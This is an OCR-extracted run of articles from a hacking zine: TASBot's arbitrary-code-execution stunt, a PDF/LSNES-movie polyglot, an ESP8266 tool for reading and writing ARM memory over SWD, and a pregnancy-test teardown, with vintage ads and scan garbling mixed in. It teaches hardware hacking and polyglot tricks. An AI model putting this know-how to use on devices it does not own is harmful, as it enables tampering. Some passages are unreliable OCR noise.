completely unmodified. The bot itself was connected by a USB
serial interface to a MacBook Pro running Linux. The source
of the button presses being sent to the bot was in the form of
a continuous bitstream representing the state of all buttons for
each frame. Once the payload was fully written and the Twitch
chat interface was complete the bitstream transitioned from be-
ing pre-created movie content to a bitstream in the format the
chat interface payload needed it in, with 5-bit and 7-bit encod-
ings for characters and emoji. This was controlled by the python
scripts that relied on a script to identify when Red, the player
inside of the Pokémon Red game, said various things.?! The
script also triggered things that TASBot, the robot holding the
replay device, would say via the use of espeak, which allowed us
to create a conversation between TASBot and Red.

2lgit clone https://github.com/TheAxeMan301/PptIrcBot
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As part of the script we predefined periods where we would
“deface” the TASVideos website by changing it to different colors;
this worked by showing an image on the SNES as well as literally
defacing the actual website. Finally, the script was built with
the ability to send commands to a serial-controlled camera, but
truth be told we ran out of time to test it so we used a bit of
stage magic to pretend like Twitch chat was interacting with the
camera by typing directions to move it, and we had a helpful
volunteer running the camera for us.

Live Performance

These exploits were unveiled at AGDQ 2015. They were streamed
live to over 100,000 people on January 4th with a mangled Python
script that didn’t trigger the text for Red properly, then again
on January 11th with the full payload. The run was very well
received and garnered press coverage from Ars Technica?? among
others and resulted in substantially more interest in TASBot
and the art of arbitrary code execution on video games than
had existed previously. Most importantly, the TAS portions of
the marathon where the exploit was featured helped raise over
fifty thousand dollars directly to the Prevent Cancer Founda-
tion. Overall, the project was a resounding success, well worth
the substantial effort that our team put into it.

22pokémon Plays Twitch: How a Robot got IRC Running on an Unmodified
SNES by Kyle Orland.
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10:4 This PDF is a Gameboy exploit!

by Philippe Teuwen

The idea for this polyglot is to embed the contents of the previ-
ous article in such a way that it shows when played as an LSNES
movie. So now you can use your copy of the journal to exploit
your hardware and read “Pokémon Plays Twitch” on your TV.
This way, we hope to start a tradition of articles being viewable
on the hardware of the article!

LSNES supports two kinds of movie files, which might better
be thought of as input recording files. The older format is ZIP
based and formally specified, while the new one is binary and
custom. The new binary format has no official specs, but starting
a PDF with a ZIP signature would now trigger Adobe’s blacklist.
Clearly, someone at the company must have disliked something
about one of our previous releases. So the new, non-ZIP LSMV
binary format is the one that we’ll use.

The buffers for read and write calls for movie data are straight
out of the movie data in memory. One unintended benefit of the
new format is that it is much easier to write from SIGSEGV or

LSMV PDF ZIP

" (header N up to 1kb "l N
_chunk header ) tolerated )
actual content ZIP files
{ dummy chunk ] : e
11N ) _object header bottom-up _
2| | actual content

|[_chunk header ) | dummy object € )

@ctual contentj

1 cemm e object footer dummy comment .
... \.PDF footer ... Y ..
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similar signal handlers. (The memory allocator cannot be trusted
from inside a signal handler, of course.)

The binary LSMV format is chunk-based. The “lsmv” magic
must be at offset 0; we can’t have any appended data. So the
PDF header and content must be added in a dummy chunk early
in the LSMV, and the ZIP and PDF footer must be added at the
end of the file, in another dummy chunk (see included diagram).

A clean version of the LSMV file has been submitted to TAS-
Videos.2? You can play this polyglot on a modified LSNES with
the hybrid emulation core using BSNES and Gambatte or, if you
have the required hardware, on the real stuff!

Be warned that none of these approaches is trivial. We include
detailed howtos with the zip contents of this issue.?*

23nttp://tasvideos.org/4947S . html
24unzip -j pocorgtfol0.pdf pokemon_plays_twitch/sgbhowto.pdf

7704

good reusons why
you should attend
the Radio

QPEETA@EE m& Engineering Shoﬂ\;

See,

IRE Hear,

National Convention
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“The Boy’s Electric Toys”

There have been other electrical experimental outfits on the market thus far, but we do not believe
that there has ever been produced anything that comes anywhere near approaching the new experimental
outfit which we illustrate herewith.

“The Boy’s Electric Toys” is unique in the history of electrical experimental apparatus, as in the
small box which we offer enough material is contained TO MAKE AND COMPLETE OVER
TWENTY-FIVE DIFFERENT ELECTRICAL APPARATUS without any other tools, except a
screw-driver furnished with the outfit. The box construction
alone is quite novel, inasmuch as every piece fits into a special
compartment, thereby inducing the young experimenter to be
neat and to put the things back from where he took them. The
box contains the following complete instruments and apparatus
which are already assembled :

Student’s chromic plunge battery
compass-| ga]vanomelcr, solenoid, tele-
phone receiver, electric lamp. Enough
various parts, wire, etc., are furnished
to make the following apparatus:

Electromagnet, electric cannon, magnetic

pictures, dancing spiral, eleclnc hammer,
or

Feceiver, condenser, sensifive microphone,
short distance wireless (elephnnn, test stor-
age battery, shocking coil, complete tele-
graph set, electric riveting machine, elec-
tric buzzer, dancing fishes, singing tele-
phone, mysterious dancing man, electric
jumping jack, magnetic geometric
rheostat, erratic pendulum, electric butter.
fly, thermo electric motor, visual telegraph,
etc., etc.
This does not by any means exhaust the list, but
a great many more apparatus can be built actually
and effectually.

With the instruction book which we furnish, one
hundred experiments that can be made ‘with  this

Y .
2 5§ = outfit are listed, nearly all of these being illustrated
i p a1y \‘ﬁ with superb illustrations. We lay particular stress
ron L Curomemoron | J e on the fact that no other materials, goods or supplies
are necessary to perform any of the one hundred

experiments or to make any of the 25 apparatus.
Everything can be constructed and accomplished by
means of this outfit, two hands, and a screw-driver.
Moreover this is the only outfit on the market to-day
in which there is included a complete chromic acid
plunge battery, with which each and everyone of the
experiments can be performed. No other source of
current is necessary.

Moreover, the outfit has complete wooden bases
with drilled holes in their proper places, so that all
you have to do is to mount the various pieces by
means of the machine screws furnished with the set

The outfit contains 114 separate pieces of mate-
rial and 24 pieces of finished articles ready to use
at once.

The box alone is a masterpiece of work on account
of its various ingenious compartments, wherein every
piece of apparatus fits.

Among the
finished mate-

rial the follow- @ p T i
No: EX2002 ing parts are The Livest Catalog in America
uded: Qur M. new slecirioal cyclopedia No. 19

Chromic salts for battery, lamp sacket, bottle of mercury, core wire (two_ different lengthe), & 1n waiting for 300 Fositivey the mos:
bottle of iron filings, three spools of wire, carbons, a quantity of machine screws, flexible cord, two plelo Wirslam %nd elsirical catkiog in princ
wood bases, glass plate, paraffine paper, binding posts, l:r:wd.n iver, etc,, etc. The imstruction book N B, Fame, 000 Uigstraions, 600
is 50 clear {hiat anyone can make the apparatus withotit trauble, and besides  section of the instruc. s o Wireloes Teieuraphy." 35 FA¥R
Hon book i8 takeh i With the Tundamebiais ot Hemerieiy e Sha b s Ry ul rapaiant courons for our 160-pass FREN Wirsles

facts in electricity in 2 simple manner. Course in 20, lesons. -

All instruments and all materials are well finished and tested before leaving the factory. TR s

We guarantee satisfaction: LN, before”veu. turm Shta paes wiits

e wish to_emphasize the fact that anyone who goes through the various experiments ‘,’,;’:":u‘f",,‘“ oy oy

Tl become profcent i clectricity and will cerainly’ dequire 'an- electrie] education. whih Stainra to ‘corer mull charpee, And ihe

canngt be duplicated except by frequenting an electrical school for some mont Cralopedia 8 )
e size over all of the outft is 14 2. Shipping weight, § Ibs HE ELECTS

hi 0 IMPORTING -CO.

No. EX2002 “The Boy’s EI »”» ﬁo .

y's Electric Toys,” outfit as described . . . . . $5. 231 Falton Stree,Neie ,,,,, Giy

ELECTRO IMPORTING CO., 231 F‘;llton St.,N.Y
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10:5 SWD Marionettes; or,
The Internet of Unsuspecting Things

by Micah Elizabeth Scott

Greetings, neighbors! Let us today gather to celebrate the
Internet of Things. We live in a world where nearly any appliance,
pet, or snack food can talk to the Cloud, which sure is a disarming
name for this random collection of computers we’ve managed to
network together. I bring you a humble PoC today, with its
origins in the even humbler networking connections between tiny
chips.

Firmware?
Where we're going, we don’t need firmware.

I've always had a fascination with debugging interfaces. I first
learned to program on systems with no viable debugger, but I
would read magazines in the nineties with articles advertising
elaborate and pricey emulator and in-circuit debugger systems.
Decades go by, and I learn about JTAG, but it’s hard to get
excited about such a weird, wasteful, and under-standardized
protocol. JTAG was designed for an era when economy of silicon
area was critical, and it shows.

More years go by, and I learn about ARM’s Serial Wire Debug
(SWD) protocol. It’s a tantalizing thing: two wires, clock and
bidirectional data, give you complete access to the chip. You
can read or write memory as if you were the CPU core, in fact
concurrently while the CPU core is running. This is all you need
to access the processor’s I/0 ports, its on-board serial ports, load
programs into RAM or flash, single-step code, and anything else
a debugger does. I took my first dive into SWD in order to
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7 EEXRYA T
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develop an automated testing infrastructure for the Fadecandy
LED controller project. There was much yak shaving, but the
result was totally worthwhile.

More recently, Cortex-M0 microcontrollers have been showing
up with prices and I/O features competitive with 8-bit micro-
controllers. For example, the Freescale MKEO4Z8VFK4 is less
than a dollar even in single quantities, and there’s a feature-rich
development board available for $15. These micros are cheaper
than many single-purpose chips, and they have all the peripher-
als you’d expect from an AVR or PIC micro. The dev board is
even compatible with Arduino shields.

In light of this economy of scale, I'll even consider using a
Cortex-MO as a sort of I/O expander chip. This is pretty cool
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if you want to write microcontroller firmware, but what if you
want something without local processing? You could write a sort
of pass-through firmware, but that’s extra complexity as well as
extra timing uncertainty. The SWD port would be a handy way
to have a simple remote-controlled set of ARM peripherals that
you can drive from another processor.

Okay! So let’s get to the point. SWD is neat; we want to do
things with it. But, as is typical with ARM, the documentation
and the protocols are fiercely layered. It leads to the kind of
complexity that can make little sense from a software perspec-
tive, but might be more forgivable if you consider the underlying
hardware architecture as a group of tiny little machines that all
talk asynchronously.

The first few tiny machines are described in the 250-page ARM
Debug Interface Architecture Specification ADIv5.0 to ADIv5.2
tome. It becomes apparent that the tiny machines must be so tiny
because of all the architectural flexibility the designers wanted
to accommodate. To start with, there’s the Debug Port (DP).
The DP is the lower layer, closest to the physical link. There are
different DPs for JTAG and Serial Wire Debug, but we only need
to be concerned with SWD.

We can mostly ignore JTAG, except for the process of initially

“CA” BUMPER MOUNTING
FITS ANY CAR

Mount Your Mobile Antenna without Drilling or Marring!
Even the massive bumpers of new 1955 cars can be outfitted
with Premax’s newly improved ‘“CA” mobile antenna mounting,
without spoiling chrome finish. Mounting includes extra chain
links and braided copper wire ground lead. Ask your dealer for
the “CA”, or write,
ook, .. PREMAX PRODUCTS

5581 Highland Avenue, Niagara Falls, New York

Here's Why!

There’s no drilling
or damage to Bumper
1 or splash-pan neces-
sary. “CA” Bumper
Mounting is fully ad-
justable with 9 links
of chain. Add or re-
move links as needed!
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SWCLKTCK

swploTms _/ \/ L |
0 1 1 1 1 0 0 1 1 1 1 0 0 1 1 1
At least 50 clocks At least 50 clocks
With SWDIOTMS JTAG-to-SWD sequence With SWDIOTMS
HIGH HIGH

Figure 10.13: JTAG-to-SWD sequence timing

switching from JTAG to SWD on systems that support both
options. SWD’s clock matches the JTAG clock line, and SWD’s
bidirectional data maps to JTAG’s TMS signal. A magic bit
sequence in JTAG mode on these two pins will trigger a switch
to the SWD mode, as shown in Figure 10.13.

SWD will look a bit familiar if you've used SPI or I12C at all.
It’s more like SPI, in that it uses a fast and non-weird clocking
scheme. Each processor’s data sheet will tell you the maximum
SWD speed, but it’s usually upwards of 20 MHz. This hints
at why the protocol includes so many asynchronous layers: the
underlying hardware operates on separate clock domains, and
the debug port may be operating much faster or slower than the
CPU clock.

Whereas SPI typically uses separate wires for data in and out,
SWD uses a single wire and relies on a turnaround period to
switch bus directions during one otherwise wasted clock cycle
that separates groups of written or returned bits. These bit
groups are arranged into tiny packets with start bits and par-
ity and such, using turnaround bits to separate the initial, data,
and acknowledgment phases of the transfer. For example, see
Figures 10.14 and 10.15 for read and write operations. For all
the squiggly details on these packets, the tome has you covered
starting with Figure 4-1.

These low-level SWD packets give you a memory-like interface
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Figure 10.14: Serial Wire Debug successful read operation
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Figure 10.15: Serial Wire Debug successful write operation

for reading and writing registers, but we’re still a few layers re-
moved from the kind of registers that you’d see anywhere else in
the ARM architecture. The DP itself has some registers accessed
via these packets, or these reads and writes can refer to registers
in the next layer, the Access Port (AP).

The AP could really be any sort of hardware that needs a
dedicated debug interface on the SoC. There are usually vendor
specific access ports, but usually you’re talking to the standard-
ized MEM-AP which gives you a port for accessing the ARM’s
AHB memory bus. This is what gives the debugger a view of
memory from the CPU’s point of view.

Each of these layers are of course asynchronous. The higher
levels, MEM-AP and above, tend to have a handshaking scheme
that looks much like any other memory mapped I/O operation.
Write to a register, wait for a bit to clear, that sort of thing.
The lower level communications between DP and AP needs to be
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more efficient, though, so reads are pipelined. When you issue a
read, that transaction will be returning data for the previous read
operation on that DP. You can give up the extra throughput in
order to simplify the interface if you want, by explicitly reading
the last result (without starting a new read) via a Read Buffer
register in the DP.

This is where the Pandora’s Box opens up. With the MEM-AP,
this little serial port gives you full access to the CPU’s memory.
And as is the tradition of the ARM architecture, pretty much
everything is memory-mapped. Even the CPU’s registers are
indirectly accessed via a memory mapped debug controller while
the CPU is halted. Now everything in the thousands of pages of
Cortex-M and vendor-specific documentation is up for grabs.
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Now I'm getting to the point.

I like making tools, and this seems like finally the perfect layer
to use as a foundation for something a bit more powerful and
more explorable. Combining the simple SWD client library I'd
written earlier with the excellent Arduino ESP8266 board sup-
port package, attached you’ll find esp8266-arm-swd, an Arduino
sketch you can load on the $5 ESP8266 Wi-Fi microcontroller.?
There’s a README with the specifics you’ll need to connect it
to any ARM processor and to your Wi-Fi. It provides an HTTP
GET interface for reading and writing memory. Simple, joyful,
and roughly equivalent security to most Internet Things.

These little HI'TP requests to read and write memory happen
quickly enough that we can build a live hex editor that contin-
uously scans any visible memory for changes, and sends writes
whenever any value is edited. By utilizing all sorts of delightful
HTML5 modernity to do the Ul entirely client-side, we can avoid
overloading the lightweight web server on the ESP8266.

This all adds up to something that’s I hope could be used for
a kind of literate reverse engineering and debugging, in the way
Knuth imagined literate programming. When trying to under-
stand a new platform, the browser can become an ideal sandbox
for both investigating and documenting the unknown hardware
and software resources.

The included HTML5 web app, served by the Arduino sketch,
uses some Javascript to define custom HTML elements that let
you embed editable hex dumps directly into documentation. Since
a register write is just an HT'TP GET, hyperlinks can cause hard-
ware state changes or upload small programs.

There’s a small example of this approach on the “Memory
Mapped I/0” page, designed for the $15 Freescale FRDM-KE04Z

25unzip pocorgtfol0.zip esp8266-arm-swd.zip
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<ul>

<li>
Turn the LED
<a is="swd—async—action" href="/api/mem/write?0x40048008=0&0
x400ff014=0x00300800&0x400ff000=0x00100800"> red </a>,
<a is="swd—async—action" href="/api/mem/write?0x40048008=0&0
x400ff014=0x00300800&0x400ff000=0x00200800"> green </a>,
<a is="swd—async—action" href="/api/mem/write?0x40048008=0&0
x400ff014=0x00300800&0x400ff000=0x00300000"> blue </a>,
<a is="swd—async—action" href="/api/mem/write?0x40048008=0&0
x400ff014=0x00300800&0x400ff000=0x00200000"> cyan </a>,
<a is="swd—async—action" href="/api/mem/write?0x40048008=0&0
x400ff014=0x00300800&0x400ff000=0x00100000"> pink </a>,
<a is="swd—async—action" href="/api/mem/write?0x40048008=0&0
x400ff014=0x00300800&0x400ff000=0x00000000"> whiteish </a>, or
<a is="swd—async—action" href="/api/mem/write?0x40048008=0&0
x400ff014=0x00300800&0x400ff000=0x00300800"> off </a>
</li>
<li>
Now <a is="swd—async—action" href="/api/halt"> halt the CPU </a>
and let ’s have some scratch RAM:
<p>
<swd—hexedit addr="0x20000000" count="32"></swd—hexedit>
</p>
</li>
<lix>
<a is="swd—async—action" href="/api/mem/write?0x20000000=0
x22004b0a&.=0x4a0a601la&.=0x601a4b0a&.=0x4a0b4b0a&.=0x4b0b6013
&.=0x2b003b01&.=0x2380d1fc&.=0x6013035b&.=0x3b014b07&.=0
xd1fc2b00&.=0x46c0e7f0&.=0x40048008&.=0x00300800&.=0x400ff014
&.=0x00200800&.=0x400ff000&.=0x00123456&.=0x7fffffbc&.=0
x00000001 ">
Load a small program
</a>
into the scratch RAM
</1li>
<li>
<a is="swd—async—action" href="/api/reg/write?0x3c=0x20000000">
Set the program counter </a>
(<span is="swd—hexword" src="/api/reg" addr="0x3c"></span>)
to the top of our program
</li>
<li>
The PC <i>sample</i> register (<span is="swd—hexword" addr="0
xe000101c"></span>)
tells you where the <i>running</i> CPU is
</1li>
<li>
<a is="swd—async—action" href="/api/mem/write?0xE000EDF0=0
xAO05F0001"> Let the CPU run! </a>

(or try a <a is="swd—async—action" href="/api/mem/write?0
xE000EDF0=0xA05F0005"> single step </a>)

</1i>

<1li>

While the program is running, you can modify its delay value:
<span is="swd—hexword" addr="0x20000040"></span>
</li>

</ul>

Figure 10.16: Single Wire Debug from HTML5
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board. This one is handy as a prototyping platform, particularly
since the I/0 is 5V tolerant and compatible with Arduino shields.
Figure 10.16 contains the HTML5 source for that demo.

This sample uses some custom HTML5 elements defined in
/script. js: swd-async-action, swd-hexedit, and swd-hexword.
The swd-async-action element isn’t so exciting, it’s really just
a special kind of hyperlink that shows a pass/fail result without
navigating away from the page. The swd-hexedit is also rela-
tively mundane; it’s just a shell that expands into many swd--
hexword elements. That’s where the substance is. Any swd--
hexedit element that’s scrolled into view will be refreshed in
a continuous round-robin cycle, and the content is editable by
default. These become simple but powerful tools.

Put a chip in it!

While the practical applications of esp8266-arm-swd may be lim-
ited to education and research, I think it’s an interesting Mini-
mum Viable Internet Thing. With the ESP8266 costing only a
few dollars, anything with an ARM microcontroller could become
an Internet Thing with zero firmware modification, assuming you
can find the memory addresses or hardware registers that control
the parts you care about. Is it practical? Not really. Secure?
Definitely not! But perhaps take a moment to consider whether
it’s really any worse than the other solutions at hand. Is ARM
assembly and HTML5 your kind of fun? Please send pull re-
quests.?8 Happy hacking

26git clone https://github.com/scanlime/esp8266-arm-swd/
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10:6 Reversing a Pregnancy Test; or,
Bitch better have my money!

by Amanda Wozniak

The adventure started like most adventures do—in a dark bar
near a technical institute over pints of IPA. An serial entrepreneur
plied me with compliments, alcohol and assurances of a budget
worthy of my hourly rate to take an off-the shelf device and build
a sales-pitch demo in support of his natal company’s fund-raising
and growth plan. The goal was to take approximately zero avail-
able fabrication resources other than myself and spend a couple of
months to make a universally approachable, easy to use demon-
stration prototype for a (now utterly defunct) startup’s flow strip
technology with a hack-a-thon patented Internet-of-Things inter-
face. The target was an entry straight out of PC Magazine’s The
Secret World of Embedded Computers, the thing no active neigh-
bor should be without—a handy-dandy off the shelf CVS digital
pregnancy test.
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Fast, Cheap, and Easy

Head on down to your local pharmacy, and virtually every store
will carry a nifty brand of digital pregnancy tests. All of these
tests are basically identical (inside and out), and the marketing
strategy is simple. Humans are bad at reading analog inputs, so
when your time comes, let technology ease your mind whether
you, the user is stressed to the breaking point trying to get preg-
nant or if you're in the boat of desperately hoping you’re sterile.
“Oh god, it’s been three seconds. Or minutes? Wait? What hap-
pened to space time. Is there one blue line? Two? I feel faint.
Fish? Fuck! I'm pregnant with mutant fish babies.”?”

27The mutant fish baby thing is kind of true according to developmental
biology, but that’s not really our focus today.
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Now, it doesn’t matter which brand you buy for this exercise—
as far as I can tell, they’re all based on the same two-chip solution
built around a Holtek HT48C06 microprocessor. And you can
guess at the function without cracking the case — just go buy one
and look at the test strips themselves. For bonus points, look as
underaged as possible.

Remember, this OTS technology is extra cool because back in
the day, instead of peeing on a stick, women suspected of preg-
nancy had to have their urine injected into a rabbit in order to as-
sess pregnancy before the onset of “the quickening.” If you think
it’s hard telling the difference between + and —, you definitely
haven’t had to divine your future livelihood from the appearance
of leporid entrails. (By the Theory of Cyber-Extension, every
time you use a digital pregnancy test, a cute bunny Tamagotchi
is saved from certain death.)

207



10 The Theater of Literate Disassembly

Basics of the Test

Each strip has an absorbent area (that you pee on) and a clear
window where the test results show up. One stripe is a con-
trol stripe that fires (changes color) in any liquid from water to
bourbon, and the other one is a test stripe that only fires when
sufficient concentrations of the hormone hCG are present in the
fluid sample. (hCG stands for Human Chorionic Gonadotropin,
named because scientists snicker at words like “gonad.”) You can
use the strips without the digital tester, because all you're be-
ing sold is a device that will load in one of the basic strips, and
monitor the control and test stripes, and return three results:
ERROR, NOT or PREGNANT. It turns out that $50 and get-
ting at least one pregnant woman to pee on a test strip can end
up for an entertaining couple of evenings at the old workbench.

Following these instructions, with enough time, patience and
abstinence, you’ll be able to make your own legitimate-looking
pregnancy test that works on men and women alike! Or jazz it
up to say “HI MOM” in no time.

Teardown

To open the case of a digital pregnancy test (DPT), take a nickel
or quarter, place it in the detent in the injection molded case, and
gently twist. The model of DPT I did most of my work with was
the generic “CVS Clear Results” test. The mechanical specifics
may vary from brand to brand, but the nicest part of the cheap
injection-molded plastic is that the shell parts are universally
thin-walled and toleranced to snap-fit together, which makes it
easy to snap them apart without visibly damaging the case.
Inside that case, there will be a circuit board that has another
multi-piece injection-molded assembly of ABS plastic, press-fitted
into mounting holes on the PCB. This is the test strip align-
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ment /ejection mechanism.?® For my purposes, I removed this
semi-destructively, by twisting off the retention pins on the back
side of the PCB. I wanted to save the housing for when I rebuilt
the test with my own internal electronics, to be virtually indis-
tinguishable from the stock pregnancy test but with added en-
trepreneurial functions. This strategic re-use of injection molded
parts and hard-to-design mechanisms adds that special profes-
sional flair to demonstration prototypes.

Once you’ve got the holder off, you’ll uncover an activation
switch and the analog optical sensor (made of two photodiodes
and three LEDs), a PLL (used only for its voltage-controlled os-
cillator) IC, the Holtek HT48C06 microcontroller, a 3V battery
and a custom LCD. You can either look up the battery type to
confirm it’s 3V, or just read the CE-mark label on the outside
of the DPT that lists the part number, lot data, confirmation
that this test is made by SPD GmbH out of Geneva, Switzerland
(made in China), and that the test runs on 3V DC. Safety first,
kids. Also convenient: if you peel up this label, you’ll see holes
in a pattern of the case that line up with un-tinned pads on the
PCB. These are the calibration and test points for the Holtek,
which means if you prefer firmware reverse-engineering to hard-
ware reverse-engineering, you can go fiddle with the insides from
the outside.

By the by, that label isn’t tamper-evident. You can easily
replace it, but don’t get any ideas!

28unzip pocorgtfol0.pdf pregpatent.pdf
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Schematic

Flick the little button, and you’ll see the whole test light up.
The LEDs strobe, the LCD thoughtfully blinks its “thinking”
icon, and a scope or DMM will show plenty of pin activity until
the test errors out because you just set it off without a valid test
strip. I could have started probing there, but I realized that an
optical test requires a dark environment, and I wanted to bring
my test wires out through the conveniently placed unit-test-and-
programming holes on the case. My ultimate goal was to test the
unit under multiple conditions to determine the internal logic.
That meant making a schematic.

I don’t enjoy tracing out circuits with dark soldermask, and
the DPTs are relatively cheap, so I gathered up the pinouts for
each IC and then did my physical net trace using graphic design
tools.

Step 1. Desolder all components from the PCB.

Step 2: Scrub the pads with solder wick to get them nice and
flat.

Step 3. Using a razor blade or fine-grit sandpaper, sand off the
soldermask with loving attention on both sides of the PCB.

Step 4. Scan the PCB with high contrast.

Step 5. Import the scans into an illustration tool of your choice.
Color code the top and bottom scans to match your preferred
layout scheme. Drop circles on the vias—first. Then add the IC
and passive pins. Then add your traces. Use the vias to register
the two images on top of one another for a single layout trace.

Step 6. Annotate the trace with the reference designators from
an intact PCB. Add your own net names and pin labels. Use this
to build a reference schematic.
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Let's Skip the Firmware

Let’s walk through what this sweet little circuit is up to.

First off, the Holtek micro is always on, albeit in sleep mode.
The battery is sized for the shelf life of the device plus a couple of
uses (three strips ship with each one). When a test strip is placed
in the tester, it mechanically triggers the switch which a) flags an
interrupt to the microcontroller to wake it up out of sleep mode
and b) enables power to the PLL and sense circuitry that would
not otherwise be powered. If you remove the test strip mid-test,
it cuts power to the PLL and the micro will error out, making
it a bit of a pain to work with. Meh, meh, power-saving feature
and fault reporting during foreseeable misuse.

Once all supplies are up, the Holtek samples the state of the
optical sensor four times a second for twenty iterations, averaging
the samples. In order to sample the test strip, the Holtek drives
the LEDs and then reads back the output state of the photode-
tector, using the voltage-controlled-isolator (VCO) sub-function
of that phase-lock-loop IC. The role of the VCO is to convert
the analog voltage from the photodetector into a square wave for
easy edge counting. Higher voltage implies a higher frequency
of edges. Because the micro controls the LED excitation timing,
it can easily tell by edge counts what color test strip the LEDs
might be illuminating. It’s pretty nifty.

Because I wanted to build new electronics to fit inside the
case of the original DPT and reproduce a function similar to the
original hardware and firmware, I dove into the deeper specifics of
how the DPT detects whether one or two blue stripes show up in
that plastic clear-view window. The secret is stereoscopic vision
enabled by time-division multiplexing and the physical layout
of the optosensor. The three LEDs are interdigitated with two
parallel photodiodes that are the base current sources in a PNP
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common emitter amplifier (D4, D5, Q2). The Holtek enables each
of the 3 LEDs (D1, D2, D3) sequentially using a 25% LOW duty
cycle waveform at 10kHz. The LEDs are strobed in a round-robin
fashion and the Holtek samples the result via the VCO.

When any one of the three LEDs is strobing, the induced cur-
rent in the photodiode causes the filter cap on the output of
Q2 to charge. The LED’s light causes charging, while discharg-
ing occurs while the LED is off. Because the Holtek excites the
LEDs intermittently, the output of the photodetector is a saw-
tooth wave. The period of the sawtooth is the LED drive interval,
while the peak and trough of the sawtooth wave correspond to
the colorimetric intensity of the test stripe that appears and/or
the amount of mis-alignment between the photodetector and the
LED array.

But how does this produce stereoscopic vision, you ask? For
the same background test strip, when D1 is on, the sawtooth
peak-to-peak amplitude will be different than when D3 is on,
giving the sensor some ability to resolve spatial light sources.
Because the LEDs are independently addressable, it also means
that the Holtek can discriminate between a colored stripe hanging
over D5 (stripe #1) versus one hanging over D4 (stripe #2).

Also, all apologies for the fact that the reference designator
order for the diodes makes no physical sense. It’s not how I'd
design the board, but it apparently took eight revisions for the
manufacturer to get this far.
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Schrédinger’s Rabbit

Okay, so if you're pregnant, it works like this.

Just kidding, folks—here’s what the DPT is doing.
Photodetectors Test Stripe
D3 D1 D2 ST1 ST2
PREGO L H L | CNTRL PREGO
CNTRL L H H | CNTRL .
ERROR H H L - PREGO
BLANK H H H e e
Remember that a high PD voltage implies more edges counted
by the Holtek per excitation cycle. The Holtek uses this and se-
quencing to tell if you’re pregnant. Based on the chemistry of the
test stripe, the test expects the CNTRL stripe to fire first. If only
the CNTRL stripe fires—congratulations, you aren’t pregnant!
Again, due to chemistry, the PREGO stripe ought to always fire
second, if at all. If the stripes fire out of order, that’s an error.
If the PREGO stripe fires but the CNTRL stripe doesn’t, that’s
an error. If no stripe fires, that’s an error.
The factors that contribute to setting the DETECT vs. NO-
DETECT threshold for “how many edges do I expect to count
if the rabbit died” are (1) the distance from each of the three

215



10 The Theater of Literate Disassembly

LEDs to each of the two sensors, (2) the intensity of the LEDs,
(3) the color of the LEDs (as that corresponds to the sensitivity of
the sensors for a given wavelength of light), (4) the placement of
the stripes (if they appear) with respect to the two photodiodes,
and (5) the color of the stripe and the saturation of the stripe.
Because process controls on LEDs are fucking horrible, each test
has to be individually calibrated after assembly.
But that’s good news for us!

Hands-On Hacking

Let’s be honest, you don’t want to come up with a new set of
guts to shove into the case of a digital pregnancy test relabeled
0xBEEF and O0xCAFE for maximum entertainment and confusion to
potential investors! You just want to have fun with the available
raw materials that God and your local drugstore have provided.

Each element of the LCD for the digital pregnancy test is cus-
tom, just like an old Tamagotchi. That means one pin polarizes
the layer with the test logo artwork on it. A second layer covers
“SEE LEAFLET” for reporting error states, a third conveys “NOT”
and a fourth, “PREGNANT.” A given layer is active when the phase
of the drive pin is 180 degrees out of phase with the COMMON
pin.

So, let’s go through the pins that make this happen. Pin 1
is the common pin, against which the segment pins are pulsed
to light a given segment. Pin 2 lights the word “NOT”, pin 3
“PREGNANT”, pin 4 “SEE LEAFLET”, and pin 5 lights the logo.

Pin 1 is the rightmost pin if you're looking at the LCD face
and the pins are at the top of the package, opposite the reference
designator. Make sure to not just short pins—you actually have
to lift and move any pins you might be interested in swapping
around. Cut a wire here, tack in a jumper there. Mix and match,
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and get ready to have a ball! Dance a jig! I mean, shoot, a fella
could have a pretty good weekend in Vegas with all that.

At the time I was doing this work, the Holtek micro wasn’t
available for purchase from Digikey or Mouser, so in a fit of in-
tellectual incuriosity, I didn’t bother to crack it. I can’t give you
any information on its internals other than what I've inferred
from reverse-engineering the rest of the circuit. I'd love to see it
done, though—just because the programming physical interface
is obfuscated in the primary datasheet doesn’t mean it’s impos-
sible. If T were doing this twice, I’'d start with the ICE. The
correct ICE tool for the job, assuming you’re into that, is the
CICE48U000006A. In the interest of speed, I based my redesign
on a PIC16F1933 and a character LCD that fit nicely in the same
window as the original.

The demo worked, but I never got paid. So, demo code and
hardware design files are available for any neighbor who wants to
buy me a beer.

Cheers!
-WO0z
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Your Rig is only as effective as the Antenna you ftie it to!

Out of ANTENNA ENGINEERING LABORATORIES,
where Radiation experts and Scientists have
developed the E.D.* principle for Military,
Commercial and Marine use, comes a

RADICALLY NEW
ALL-BAND “E.D.”

AMATEUR ROBOT

sKYHooK!

V- 37 @ This New, All-band Antenna, precision-
80 THRU 10 MTRS manufactured by ANTENNA ENGINEERING
sk COMPANY, does exactly what has long been

v- 72 considered a virtual IMPOSSIBILITY.®

80 THRU 10 MTRS
V-70** Do you want
80 THRU 10 MTRS

**USING OUR
SB-75A UNIT

AUTOMATIC all-band coverage including Novice, C.D.
& MARS

AUTOMATIC IMPEDANCE-MATCHING on EVERY BAND
AUTOMATIC Radiation-pattern Control

AUTOMATIC Colinear Array on 15 and 10 meters
v-37)

ALL with maximum operational EFFICIENCY and
convenience

Then YOU want—and can NOW HAVE—your CHOICE of a
VARIETY OF MODELS of "E.D!’All-Banders which have been

DESIGNED for AMATEUR SERVICE
by Antenna Scientists

DEVELOPED for HAMS at the
A.E.C. ANTENNA LABORATORY

PRECISION-MANUFACTURED for Quality
Control at the A.E.C. FACTORY.
S$00000

For Ham Radio at its BEST on your Xmitr & Revr
For a THRILL as New & Potent as an "H” bomb
For the TOPS in op ing efficiency &

WRITE US FOR DETAILS, LITERATURE AND PRICES
ATTENTION AMATEUR RADIO CLUBS! 11 you would Like one of our Repre

*Electro-magnetic Patents

Decoupling Pending to discuss ¢ subject of Amateur Antennas,
their pmhlems and how lhey can be solved, write us for an appointment to
address your Members. —

ANTENNA ENGINEERING COMPANY

5021 WEST EXPOSITION BLVD., LOS ANGELES 16, CALIF.
TELEPHONE: REpublic 4-7807

218



10:6 Reversing a Pregnancy Test

by Amanda Wozniak

Peeks,Pokes and Pirates

Disk Layout

A 5.25-inch floppy disk has 35 tracks, numbered $00 to $22 (hex).
The format of each track is disk-specific. Most disks split each track
into 16 “sectors,” but older disks use 13 sectors per track. Some
games use 12, 11, or 10. Newer games can squeeze up to 18
sectors in a single track! Just figuring out how data is stored on disk
can be a challenge.

Common Code Obfuscation

Apples have a built-in “monitor” and naive disassembler.
